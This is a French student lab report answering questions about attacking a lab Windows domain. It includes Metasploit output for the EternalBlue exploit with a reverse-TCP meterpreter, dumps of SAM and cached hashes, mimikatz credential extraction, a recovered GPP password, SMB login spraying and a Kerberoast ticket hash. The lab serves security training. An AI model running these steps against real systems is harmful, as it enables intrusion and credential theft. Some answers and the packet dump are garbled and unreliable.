

Rapport SOS Labo 1

Auteur : Jean-Luc Blanc et Jérôme Arn

Date : 2 mars 2020

Q 1 : Expliquer l'utilité de l'argument -Pn et dans quelles circonstances est-ce qu'il s'utilise?

L'argument -Pn permet de considérer tous les hôtes comme étant connectés, cela permet de sauter l'étape de découverte d'hôtes.

Q 2 : Quel est le contrôleur de domaine ? Comment pouvez-vous le déterminer(2 façons distinctes)?

1) Tous les contrôleurs de domaine écoute les ports 53, 88 et 389, il suffit donc de scanner ce port afin de savoir qu'elles sont les machines qui l'écoutent.

2) Avec la commande "Host 10.13.37.10" il est possible d'afficher les détails du domaine en question.

Q 3 : A partir de la capture tcpdump, déterminer comment la version de Windows est récupérée?

Les paquets SMB qui effectuent les demandes de sessions contiennent la version de la machine cible. Il suffit donc de filtrer les paquets sur Wireshark pour trouver l'OS de chaque machine.

No.	Time	Source	Destination	Protocol	Length	Info
38 s	575688	10.13.37.32	10.13.37.20	SMB	213	Session Setup AndX Request, NTLMSSP_NEGOTIATE
41 s	575702	10.13.37.32	10.13.37.20	SMB	492	Session Setup AndX Response, Error: STATUS_MORE_PROCESSING_REQUIRED
41 s	575399	10.13.37.32	10.13.37.20	SMB	105	Session Setup AndX Request, NTLMSSP_AUTH, User: \.
42 s	579385	10.13.37.32	10.13.37.20	SMB	105	Session Setup AndX Response, Error: STATUS_LOGON_FAILURE
43 s	580883	10.13.37.32	10.13.37.20	SMB	169	Session Setup AndX Request, User: \.
44 s	581192	10.13.37.32	10.13.37.32	SMB	155	Session Setup AndX Response
84 s	758448	10.13.37.32	10.13.37.32	SMB	213	Session Setup AndX Request, NTLMSSP_NEGOTIATE
85 s	751658	10.13.37.32	10.13.37.32	SMB	381	Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
86 s	753603	10.13.37.32	10.13.37.32	SMB	468	Session Setup AndX Request, NTLMSSP_AUTH, User: \.
87 s	754415	10.13.37.32	10.13.37.32	SMB	105	Session Setup AndX Response, Error: STATUS_LOGON_FAILURE
88 s	755585	10.13.37.32	10.13.37.32	SMB	169	Session Setup AndX Request, User: \.
89 s	755832	10.13.37.32	10.13.37.32	SMB	105	Session Setup AndX Response, Error: STATUS_ACCESS_DENIED
106 s	817683	10.13.37.32	10.13.37.19	SMB	213	Session Setup AndX Request, NTLMSSP_NEGOTIATE
101 s	877699	10.13.37.10	10.13.37.32	SMB	377	Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
102 s	879719	10.13.37.32	10.13.37.19	SMB	480	Session Setup AndX Request, NTLMSSP_AUTH, User: \.
103 s	880730	10.13.37.10	10.13.37.32	SMB	105	Session Setup AndX Response, Error: STATUS_LOGON_FAILURE
104 s	882644	10.13.37.32	10.13.37.19	SMB	169	Session Setup AndX Request, User: \.
Frame 39: 373 bytes on wire (2984 bits), 373 bytes captured (2984 bits)						
0000	3a c6 b0 00 01 2f ff f3 4d 42 73 16 00 00 00 00	... / S M B ...				
0050	e1 68 00 00 00 00 00 00 00 00 00 00 00 00 00	.....			
0060	58 78 02 08 ef d2 04 ff 00 2f 61 00 0c 06 00 04	..x.....				
0070	c1 e4 4c 4d 53 53 50 00 02 00 00 00 00 00 00	.....NTLMSSP.....				
0080	00 38 00 00 05 02 89 a2 57 0b f8 47 34 fe 20	.....W . & ..				
0090	2f 00 00 00 00 00 00 00 ae 5e 0e 0e 3e 00 00&.....				
00a0	00 00 39 30 00 00 00 0f 57 00 41 00 44 02	.....08 .....W				
00b0	00 00 00 87 00 41 00 44 00 01 0e 1e 04 00 45	.....N A D . D E				
00c0	00 53 4d 08 54 08 4f 0e 50 08 2d 05 45 00 51	.....S K T O P = E Q				
00d0	44 4e 00 41 00 4b 0e 5a 00 04 00 12 77 00	.....O J A K Z ..				
00e0	00 61 00 64 0e 26 00 6c 00 07 63 00 61 00 6c	.....a d , l o c a l				
00f0	00 03 32 04 00 48 05 0e 53 00 4b 05 54 00 47	.....2 O E S K T O				
0100	00 50 20 45 00 51 00 44 00 4a 00 41 00 4b	.....P = E Q O J A K				
0110	00 53 00 2e 00 77 00 61 00 44 02 0e 0c 00 0f	.....2 , w a d , l o				
0120	00 6a 00 6c 00 05 00 0e 12 00 77 00 61 00 64	.....c a l . . w a d				
0130	00 2e 00 0f 00 63 00 60 00 6c 00 07 00 68	.....l o c a l -				
0140	00 a2 21 09 13 0e 10 05 61 00 00 00 00 57 09 0e	.....l i n e . . . W i n				
0150	64 6f 77 73 20 31 30 20 50 72 6f 20 31 34 33 39	dows 10 Pro 1439				
0160	33 00 57 09 0e 64 6f 77 73 20 31 30 20 50 72 6f	3 Window s 10 Pro				
0170	20 26 2e 33 00	6,3				

Q 4 : Quels sont les droits d'exécution que vous obtenez ?

Les droits du groupe de NT AUTHORITY\SYSTEM

USER INFORMATION			

User Name	SID		
=====			
nt authority\system S-1-5-18			
GROUP INFORMATION			

Group Name	Type	SID	Attributes
=====			
BUILTIN\Administrators	Alias	S-1-5-32-544	Enabled by default, Enabled group, Group owner
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level	Label	S-1-16-16384	
PRIVILEGES INFORMATION			

Privilege Name	Description	State	
=====			
SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled	
SeLockMemoryPrivilege	Lock pages in memory	Enabled	
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled	
SeTcbPrivilege	Act as part of the operating system	Enabled	
SeSecurityPrivilege	Manage auditing and security log	Disabled	
SeTakeOwnershipPrivilege	Take ownership of files or other objects	Disabled	
SeLoadDriverPrivilege	Load and unload device drivers	Disabled	
SeSystemProfilePrivilege	Profile system performance	Enabled	
SeSystemtimePrivilege	Change the system time	Disabled	
SeProfileSingleProcessPrivilege	Profile single process	Enabled	
SeIncreaseBasePriorityPrivilege	Increase scheduling priority	Enabled	
SeCreatePagefilePrivilege	Create a pagefile	Enabled	
SeCreatePermanentPrivilege	Create permanent shared objects	Enabled	
SeBackupPrivilege	Back up files and directories	Disabled	
SeRestorePrivilege	Restore files and directories	Disabled	
SeShutdownPrivilege	Shut down the system	Disabled	
SeDebugPrivilege	Debug programs	Enabled	
SeAuditPrivilege	Generate security audits	Enabled	
SeSystemEnvironmentPrivilege	Modify firmware environment values	Disabled	
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled	
SeUndockPrivilege	Remove computer from docking station	Disabled	
SeManageVolumePrivilege	Perform volume maintenance tasks	Disabled	
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled	
SeCreateGlobalPrivilege	Create global objects	Enabled	
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled	
SeTimeZonePrivilege	Change the time zone	Enabled	
SeCreateSymbolicLinkPrivilege	Create symbolic links	Enabled	
SeDelegateSessionUserImpersonatePrivilege	Obtain an impersonation token for another user in the same session	Enabled	

Q 5 : Comment expliquer que vous disposez d'autant de privilège ?

Car on fait partit du groupe NT AUTHORITY\SYSTEM

Q 6 : Quel processus exécute votre meterpreter sur la machine victime (pid+nom) ?

cmd.exe, pid : 3812

```
C:\Windows\system32>tasklist
tasklist
```

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Services	0	4 K
System	4	Services	0	140 K
smss.exe	256	Services	0	1188 K
csrss.exe	356	Services	0	3624 K
wininit.exe	416	Services	0	4728 K
csrss.exe	424	Console	1	3400 K
winlogon.exe	464	Console	1	8060 K
services.exe	544	Services	0	8848 K
lsass.exe	552	Services	0	20024 K
svchost.exe	632	Services	0	16968 K
svchost.exe	700	Services	0	10108 K
LogonUI.exe	800	Console	1	48228 K
dwm.exe	820	Console	1	16508 K
svchost.exe	864	Services	0	73324 K
svchost.exe	888	Services	0	36740 K
svchost.exe	944	Services	0	20548 K
svchost.exe	952	Services	0	29844 K
svchost.exe	1000	Services	0	20684 K
svchost.exe	628	Services	0	26344 K
svchost.exe	1360	Services	0	8664 K
svchost.exe	1448	Services	0	7780 K
spoolsv.exe	1632	Services	0	13592 K
svchost.exe	1780	Services	0	25220 K
svchost.exe	1876	Services	0	11276 K
Memory Compression	1540	Services	0	5020 K
dllhost.exe	2196	Services	0	19012 K
svchost.exe	2436	Services	0	7524 K
msdtc.exe	2592	Services	0	9456 K
svchost.exe	2956	Services	0	7756 K
SearchIndexer.exe	920	Services	0	15384 K
GCEWindowsAgent.exe	2644	Services	0	15856 K
svchost.exe	2648	Services	0	7916 K
sedsvc.exe	3828	Services	0	11436 K
powershell.exe	3488	Services	0	67508 K
conhost.exe	3732	Services	0	5204 K
cmd.exe	3812	Services	0	2920 K
conhost.exe	3788	Services	0	5652 K
tasklist.exe	2640	Services	0	7456 K
WmiPrvSE.exe	3340	Services	0	8180 K

Q 7 : Quelle est la différence entre la version reverse_tcp et bind_tcp de meterpreter ?

bind_tcp utilise un port de la machine victime, et donc la manipulation peut être bloquée par un firewall

reverse_tcp tente de connecter la machine victime à la machine de l'agresseur, dès lors c'est la machine attaquante qui doit ouvrir ses ports.

Q 8 : Dans quelle situation est-il recommandé d'utiliser la version reverse_tcp ?

Quand la machine victime est protégée par un firewall.

Q 9 : Dans la sortie de l'exécution, la notion de stage apparait, de quoi s'agit-il ?

Il s'agit de l'envoi du 2ème payload de notre reverse_tcp

```
/var/lib/gems/2.5.0/gems/rex-core-0.1.13/lib/rex/sync/thread_safe.rb:36:in `select'
/var/lib/gems/2.5.0/gems/rex-core-0.1.13/lib/rex/io/stream.rb:75:in `rescue in read'
/var/lib/gems/2.5.0/gems/rex-core-0.1.13/lib/rex/io/stream.rb:69:in `read'
/var/lib/gems/2.5.0/gems/rex-core-0.1.13/lib/rex/io/stream.rb:159:in `block in timed_read'
/usr/lib/ruby/2.5.0/timeout.rb:108:in `timeout'
/var/lib/gems/2.5.0/gems/rex-core-0.1.13/lib/rex/io/stream.rb:158:in `timed_read'
/opt/metasploit-framework/lib/rex/proto/smb/client.rb:73:in `smb_recv'
/opt/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:889:in `recv_transaction_data'
/opt/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:866:in `leak_frag_size'
/opt/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:351:in `exploit_matched_payload'
/opt/metasploit-framework/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb:44:in `eternal_pwn'
/opt/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb:110:in `exploit'
/opt/metasploit-framework/lib/msf/core/exploit_driver.rb:215:in `job_run_proc'
/opt/metasploit-framework/lib/msf/core/exploit_driver.rb:169:in `run'
/opt/metasploit-framework/lib/msf/base/simple/exploit.rb:140:in `exploit_simple'
/opt/metasploit-framework/lib/msf/base/simple/exploit.rb:165:in `exploit_simple'
/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:55:in `exploit_single'
/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/exploit.rb:205:in `cmd_exploit'
/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:523:in `run_command'
/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:474:in `block in run_single'
/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `each'
/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:468:in `run_single'
/opt/metasploit-framework/lib/rex/ui/text/shell.rb:158:in `run'
/opt/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/opt/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/opt/metasploit-framework/msfconsole:49:in `<main>'
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 10.13.37.20
RHOST => 10.13.37.20
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > set LHOST 10.13.37.32
LHOST => 10.13.37.32
msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.13.37.32:4444
[*] 10.13.37.20:445 - Target OS: Windows 10 Pro 14393
[*] 10.13.37.20:445 - Built a write-what-where primitive...
[+] 10.13.37.20:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.13.37.20:445 - Selecting PowerShell target
[*] 10.13.37.20:445 - Executing the payload...
[+] 10.13.37.20:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.13.37.20
[*] Meterpreter session 1 opened (10.13.37.32:4444 -> 10.13.37.20:51312) at 2020-03-08 17:59:00 +0100

meterpreter > uname
[-] Unknown command: uname.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > whoami /all
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Q 10: Quels sont les formats de hash utilisés pour stocker les mots de passe dans la SAM ? A quoi correspondent les différentes parties ?

Le format utilisé est le NTLM Hash.

NTLM Hash : username:relative identifiier:LM Hash:NT Hash

```
[*] 10.13.37.20:445 - Built a write-what-where primitive...
[+] 10.13.37.20:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.13.37.20:445 - Selecting PowerShell target
[*] 10.13.37.20:445 - Executing the payload...
[+] 10.13.37.20:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.13.37.20
[*] Meterpreter session 1 opened (10.13.37.32:4444 -> 10.13.37.20:51320) at 2020-03-08 18:10:15 +0100

meterpreter > run po
Display all 225 possibilities? (y or n)
meterpreter > run po
Usage: run <script> [arguments]

Executes a ruby script or Metasploit Post module in the context of the
meterpreter session. Post modules can take arguments in var=val format.
Example: run post/foo/bar BAZ=abcd

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3cf6efbc514d062171ea58f50eb4dd19...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

julien:"none"

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e343276524d47d36b3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:96bdef939a6156e7c8d423e49bc29d20:::
julien:1001:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::

meterpreter > run post/windows/gather/credump

[-] The specified meterpreter session script could not be found: post/windows/gather/chachedump
meterpreter > run post/windows/gather/credump

[*] Executing module against DESKTOP-FLMWEYO
[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining NL$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[+] MSCACHE v2 saved in: /home/training_cloud/.msf4/loot/20200308181404_default_10.13.37.20_mscache2.creds_297626.txt
[*] John the Ripper format:
# mscash2

meterpreter >
```

Q 11: Comment expliquer que plusieurs comptes partagent les mêmes hashes ?

Car les utilisateurs ont le même mots de passes.

Q 12: Quel est le format de hash utilisé pour stocker les hash MS-CACHE ? A quoi correspondent les différentes parties ?

le format du fichier mscache2 contient les entêtes suivantes, mais le fichier est vide.
Username,Hash,Hash iteration count,Logon Domain Name,DNS Domain Name,Last Login,UPN,Effective Name,Full Name,Logon Script,Profile Path,Home Directory,HomeDir Drive,Primary Group,Additional Groups

```
[*] 10.13.37.20:445 - Built a write-what-where primitive...
[+] 10.13.37.20:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.13.37.20:445 - Selecting PowerShell target
[*] 10.13.37.20:445 - Executing the payload...
[+] 10.13.37.20:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.13.37.20
[*] Meterpreter session 1 opened (10.13.37.32:4444 -> 10.13.37.20:51320) at 2020-03-08 18:10:15 +0100

meterpreter > run po
Display all 225 possibilities? (y or n)
meterpreter > run po
Usage: run <script> [arguments]

Executes a ruby script or Metasploit Post module in the context of the
meterpreter session. Post modules can take arguments in var=val format.
Example: run post/foo/bar BAZ=abcd

meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3cf6efbc514d062171ea58f50eb4dd19...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

julien:"none"

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e89aa5264c5da7e343276524d47d36b3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:96bdef939a6156e7c8d423e49bc29d20:::
julien:1001:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::

meterpreter > run post/windows/gather/cachedump

[-] The specified meterpreter session script could not be found: post/windows/gather/chachedump
meterpreter > run post/windows/gather/cachedump

[*] Executing module against DESKTOP-FLMWEYO
[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining NL$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[+] MSCACHE v2 saved in: /home/training_cloud/.msf4/loot/20200308181404_default_10.13.37.20_mscache2.creds_297626.txt
[*] John the Ripper format:
# mscash2

meterpreter >

/cache
Username,Hash,Hash iteration count,Logon Domain Name,DNS Domain Name,Last Login,UPN,Effective Name,Full Name,Logon Script,Profile Path,Home Directory,HomeDir Drive,Primary Group,Additional Groups
```

Q 13: À quoi correspond le compte qui se termine par un \$ retrouvé dans la mémoire de LSASS ?

Le compte créer à partir du nom de la machine lorsque cette dernière à rejoint le domaine.

```

/opt/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in `start'
/opt/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'
/opt/metasploit-framework/msfconsole:49:in `<main>'
msf5 post(windows/gather/credentials/gpp) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.13.37.32:4444
[*] 10.13.37.20:445 - Target OS: Windows 10 Pro 14393
[*] 10.13.37.20:445 - Built a write-what-where primitive...
[+] 10.13.37.20:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.13.37.20:445 - Selecting PowerShell target
[*] 10.13.37.20:445 - Executing the payload...
[+] 10.13.37.20:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.13.37.20

meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v #' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/

Success.
meterpreter > creds all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
=====

Username          Domain  NTLM          SHA1
-----
DESKTOP-EQDJAKZ$  WAD     f7919c8a3bb17d964a6ebfbc45ad0d3  2f1b84569896726b9170fc6ccc6eb9f39f888cafa

wdigest credentials
=====

Username          Domain  Password
-----
(null)            (null) (null)
DESKTOP-EQDJAKZ$  WAD     (null)

kerberos credentials
=====

Username          Domain  Password
-----
(null)            (null) (null)
DESKTOP-EQDJAKZ$  wad.local i\GgqD%Cl0g1t6dM3o?gTdv>b1r.Y+yHK02V$3MRqprZPyT@g3gApKVL2+u3;c3@.)aJ8yv@*N
:2M78)zo Buy`AY"4-7g*iaKGr!@_`gAuEkh9hoV:Q+)2W
desktop-eqdjakz$  WAD.LOCAL (null)

```

Q 14: Quel type de compte est nécessaire afin d'accéder au GPO sur le partage SYSVOL ?

N'importe quel compte standard du domaine peut lire les GPO du partage SYSVOL

Q 15: Quel est l'identifiant de la GPO qui contient le mot de passe ?

svc_sched


```
[*] Enumerating Domains on the Network...
[-] ERROR NO_BROWSER_SERVERS_FOUND
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) WAD from registry
[*] Retrieved DC WAD-DC01.WAD.LOCAL from registry
[*] Enumerating DCs for WAD on the network...
[-] ERROR NO_BROWSER_SERVERS_FOUND
[-] No Domain Controllers found for WAD
[*] Searching for Policy Share on WAD-DC01.WAD.LOCAL...
[+] Found Policy Share on WAD-DC01.WAD.LOCAL
[*] Searching for Group Policy XML Files...
[*] Parsing file: \\WAD-DC01.WAD.LOCAL\SYSTEM32\policies\{5CABEDB2-13FA-4EB3-A276-B5F3023A3321}\USER\Preferences\ScheduledTasks\ScheduledTasks.xml ...
[+] Group Policy Credential Info
=====

Name                Value
----                -
TYPE                ScheduledTasks.xml
USERNAME            svc_sched
PASSWORD            K33pAlive4ever
DOMAIN CONTROLLER  WAD-DC01.WAD.LOCAL
DOMAIN              wad.local
CHANGED             2019-19-03 09:30:00
TASK                C:\Windows\System32\cmd.exe
NAME                SchedTask

[+] XML file saved to: /home/training_cloud/.msf4/loot/20200309135444_groupe_3_10.13.37.20_microsoft.window_182706.txt

[-] Post failed: RuntimeError There was an error creating the record: Validation failed: Session can't be blank
[-] Call stack:
[-] /opt/metasploit-framework/lib/metasploit/framework/data_service/remote/http/response_data_helper.rb:60:in `json_to_mdm_object'
[-] /opt/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb:34:in `create_credential'
[-] /opt/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:6:in `block in create_credential'
[-] /opt/metasploit-framework/lib/metasploit/framework/data_service/proxy/core.rb:166:in `data_service_operation'
[-] /opt/metasploit-framework/lib/metasploit/framework/data_service/proxy/credential_data_proxy.rb:5:in `create_credential'
[-] /opt/metasploit-framework/lib/msf/core/auxiliary/report.rb:36:in `create_credential'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:302:in `report_creds'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:280:in `block in parse_xml'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:273:in `each'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:273:in `parse_xml'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:169:in `block in run'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:167:in `each'
[-] /opt/metasploit-framework/modules/post/windows/gather/credentials/gpp.rb:167:in `run'
[*] Post module execution completed
msf5 post(windows/gather/credentials/gpp) > 
```

Q 16: Quelle est la valeur chiffrée en CPassword qui correspond au mot de passe trouvé dans la GPP ?

```
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks classid="{CC63F200-7309-4ba0-B154-A71CD1180BCC}">
  <Task classid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="check_internet" image="" changed="2019-19-03 09:30:00" uid="{7B923D0E-81FD-4B90-81F7-8EE75D91D2C1}" userContext="" removePolicy="0">
    <Properties deleteWhenDone="0" maxRunTime="120000" startOnlyIfIdle="0" stopOnIdleEnd="0" noStartIfOnBatteries="1" stopIfGoingOnBatteries="1" systemRequired="0" action="C" name="check_internet" appName="C:\Windows\System32\cmd.exe" args="ping 8.8.8.8" startIn="" comment="" runAs="svc_sched" cpassword="F7mL0GL49wv64Y8HxukeIyarUAwwd2BFPagryCKMRP8" enabled="1">
      <Triggers>
        <Trigger type="DAILY" startHour="07" startMinutes="00" beginYear="2017" beginMonth="9" beginDay="20" hasEndDate="0" repeatTask="0" interval="1"/>
      </Triggers>
    </Properties>
  </Task>
</ScheduledTasks>
```

Q 17: Est-ce que ce compte (cf. P16) est utilisé sur l'une des machines (smb_login) ? Comment expliquer le résultat que vous obtenez ?

Il est utilisé sur le 4 machines car il correspond au "Service scheduler" de Windows

```
/smb login
[*] 10.13.37.20:445 - 10.13.37.20:445 - Starting SMB login bruteforce
[+] 10.13.37.20:445 - 10.13.37.20:445 - Success: 'wad.local\svc_sched:K33pAlive4ever'
[*] Scanned 1 of 4 hosts (25% complete)
[*] 10.13.37.12:445 - 10.13.37.12:445 - Starting SMB login bruteforce
[+] 10.13.37.12:445 - 10.13.37.12:445 - Success: 'wad.local\svc_sched:K33pAlive4ever'
[*] Scanned 2 of 4 hosts (50% complete)
[*] 10.13.37.10:445 - 10.13.37.10:445 - Starting SMB login bruteforce
[+] 10.13.37.10:445 - 10.13.37.10:445 - Success: 'wad.local\svc_sched:K33pAlive4ever'
[*] Scanned 3 of 4 hosts (75% complete)
[*] 10.13.37.11:445 - 10.13.37.11:445 - Starting SMB login bruteforce
[+] 10.13.37.11:445 - 10.13.37.11:445 - Success: 'wad.local\svc_sched:K33pAlive4ever'
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
```

Q 18: Quel compte avez-vous utilisé pour le module get_user_spn ? Pourquoi ?

svc_sched, car les SPNs étant des services présentent dans l'active directory, il faut un compte faisant partie de l'AD.

Q 19: Illustrer le résultat obtenu et expliquer pourquoi une seule entrée est retournée par le module ?

Car il n'y a qu'un seul TGS qui a été récupéré et que ce dernier n'est associé qu'à un seul couple service/user.

```
[*] Running for 10.13.37.10...
[*] Total of records returned 4
[+] ServicePrincipalName      Name      MemberOf PasswordLastSet      LastLogon
[+] -----
[+] MSSQLSvc/WAD-SQL01.WAD.local:1433 svc_sql      2020-03-02 10:15:54 2020-03-04 18:20:35
[-] Exception for getKerberosTGT
[+] $krb5tgt$23$*svc_sql$WAD.LOCAL\MSSQLSvc/WAD-SQL01.WAD.local~1433*$cf66d70c3863d4d0abfaaa8a4eac4454$
ac6767348999c1c898e2cb6ac60d40a7aeb8101caa9ff344f9e05547c0d307b76304165c1c0745427e8b44c0e55e93051f2bf8
ff6247bc5af814c3977d8c67d8f4abf3bab387aa70e766fc11719ddbe69ee2aa750da0980aaf0dfa09fe9b42e7265a7f42e4fd7
5a27bd5234a450672aeb380270e65640bb03b80d97ab56044d51ee651c3eedf51259babb07fd1429244bd2ec48318f4574cb9d4
85723a0b97c639adae84e2be26ad1450ee0ae5ccf70fb458aedfd020c7efa7fb728844e172e23ac066c437db65a357d485211fa
7e1431454964ef2aeaddb3f32474de78e2153a67799aa7a911d684360004ccaa8940ec3ae96d0354ea3bac03444f13bab34bcf4
dfc32c3a2f9a8dafa371ccdac4c34409e6c806dc88923317861dcf5e843d53b12be32dc1a4e0f7d7406e87a4ea2d9d46e971d3e
25cbe8b1563be0c027415181b75e45bd499ef5619baf20f611b5fc3cc692704d539afe5838d2b5cbb07d0d1b5beb11747de435
c755dccc3915eef03086b94c2f59435f3b07b967f01ee46203704555e080246751e916c7991a3f1f9d58fc46321e878f65305629
6113b1e252d88c9ce14ba57aa4c0294a7f9ee8c41e80b8603d3c571b110654eca40a59840bfb389d31b464771d9fc7e44f4b3db
8e8ef7c88a11291ad63028b961b1df90fd896f0d021dfe416453b2ff137ac19114c163e5c62817f02977b1081d07f9866e387d1
176dc07110622403c08aadf778d554d1a9078c35feb0b97a465b167557d26539de922053d1a428bbc791d0ec1ad9c176a6dac2f
d23a9386c43df663526182b3739c822c436127aebf4c5c1859632f7f69c15a051e30dde7859a7da85b980433de45cd81ec7b1
a3d7db7074043fcefaf5ce9ff9a2827a0b55fff6be0c9a88a253de29d2f966343b6e5d86cf11ae16fadba061b41e230befb82
a998755400f0bee196ed9636340d1aca312c16eb2e3db715b70c1d2c4414ded612067ff690923e70a6a5f0a97abfee4960e424e
415e0f91ed49b1925cd92a1faba6e70a800a63270700c3d9e495a8375799a55bce4bf6f66f9f8b41ec856c6283d470000fdb24d
ace42fd8a07cdb6e0b8b015cca5df0640a0f6bf0f7e37078399b92255fc3f9040b82776d2bb1a4c4931fb46e0e7a5515a1f2866
e5dlac20046a34dc540b650023fb2da8138ac8e1137d5e4a6bec94e19e6109815be579bafa76fc65fc7d35144654ea488512be
36ea4b2e042eaf2e1d3c8387b367e1f4e397871835083f5db3e3853db7c504da8310165b6482de6a595091d6c94f77e
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Q 20: Quel est le SPN complet vulnérable ?

MSSQLSvc/WAD-SQL01.WAD.local:1433

Q 21: Quel est le compte du domaine associé à ce SPN ?

le compte est svc_sql

Q 22: Est-ce que ce compte est utilisé sur l'une des machines (utiliser smb_login) ?

Oui, il est utilisé sur toutes les machines que nous avons pu détecter.

```
msf5 auxiliary(scanner/smb/smb_login) > run
[*] 10.13.37.20:445 - 10.13.37.20:445 - Starting SMB login bruteforce
[+] 10.13.37.20:445 - 10.13.37.20:445 - Success: 'wad.local\svc_sql:Password1'
[*] Scanned 1 of 4 hosts (25% complete)
[*] 10.13.37.12:445 - 10.13.37.12:445 - Starting SMB login bruteforce
[+] 10.13.37.12:445 - 10.13.37.12:445 - Success: 'wad.local\svc_sql:Password1'
[*] Scanned 2 of 4 hosts (50% complete)
[*] 10.13.37.10:445 - 10.13.37.10:445 - Starting SMB login bruteforce
[+] 10.13.37.10:445 - 10.13.37.10:445 - Success: 'wad.local\svc_sql:Password1'
